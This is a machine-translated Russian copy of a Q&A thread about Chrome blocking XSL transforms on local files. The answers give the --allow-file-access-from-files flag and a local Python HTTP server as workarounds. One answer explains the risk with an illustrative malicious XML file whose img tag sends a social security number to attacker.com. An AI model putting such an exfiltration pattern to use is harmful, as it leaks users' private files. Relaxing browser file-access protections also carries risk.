Можно ли сделать Chrome для выполнения преобразования XSL в локальном файле?


Я смотрел в xslt и начал тестирование с примерами на w3schools.

однако, когда я сохраняю xml и xsl в файлах и пытаюсь открыть их локально, chrome не будет выполнять преобразование xsl. Он просто показывает пустую страницу.

я добавил<?xml-stylesheet type="text/xsl" href="style.xsl"> тег к xml-документу, и firefox отображает его так, как он должен выглядеть. Кроме того, если я смотрю на файлы через веб-сервер, chrome отображает файл так, как он должен выглядеть.

это у chrome есть проблема с поиском информации о таблице стилей, когда ссылка локальна? Изменение href на file:///C:/xsl/style.xsl не имеет никакого значения.

обновление: это, кажется, побочный эффект политики безопасности чтобы не рассматривать файл: / / / * как одно и то же происхождение. при этом в консоли появляется следующая ошибка:

небезопасная попытка загрузить URL-файл:// / C: / xsl-rpg / style.xsl из кадра с URL-файлом:// / C: / xsl-rpg / data.XML. Домены, протоколы и порты должны совпадать.

5 68

5 ответов:

короткий ответ:

вы можете сделать это локально, используя флаги командной строки Chrome.

конкретный флаг --allow-file-access-from-files

на OS X: от терминала.приложение /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

В Windows: из командной строки запустите %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Примечание: вам, вероятно, придется выйти из Chrome, если он в настоящее время работает иначе Ch

если вы хотите придерживаться OP, ответ нет (как указывали другие), но один из способов решить проблему-запустить простой веб-сервер и открыть файлы через http в chrome. Если у вас есть python 2.X установлен, вы можете запустить веб-сервер, введя:

python -m SimpleHTTPServer

или в python 3.x:

python3 -m http.server

а затем открыть файл с помощью http://localhost:8000/yourfile.xml в chrome. Надеюсь, вы просто хотите, чтобы ваша работа была выполнена, и это не так важно, чтобы открыть файл с помощью file://

потребовалось немного расшифровки на странице ошибки Chrome - они очень заинтересованы в том, чтобы не объяснять, в чем проблема, и почему они выбрали взлом всех, а не не ломать всех.

предположим, что у меня есть XML-файл -где-то - на моем жестком диске, например:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

и вредоносная сущность -как-то - удалось удалить вредоносный Xml-файл на моем компьютер, например:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

представьте себе,TrojanVirusWorm.xml содержит инструкцию по обработке таблицы стилей (ПИ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

затем злоумышленник указывает моему браузеру перейти к локально сохраненному .

видимо, есть способ, которым XML-файл может читать содержимое XSD-файла (вместо преобразования по xsd-файл):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Я не понимаю, как XML-файл может читать файл таблицы стилей. Но команда Chrome уверяет нас, что это опасность, и что она не может быть решена.

каждый другой браузер решил это. Они решили ее потому что это не проблема.

мой обходной путь, чтобы увидеть xml в соответствии с файлом xsl

Предположим, у нас есть some_file.XML с заголовками:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. скачать файл https://some-site.com/Common.xsl и поместите его рядом с some_file.xml
  2. изменить часть нашего заголовка от href="https://some-site.com/Common.xsl" до href="http://localhost:8001/Common.xsl"
  3. запустить в директорию с нашими файлами -python3 -m http.server 8001
  4. открыть в любом браузере http://localhost:8001/some_file.xml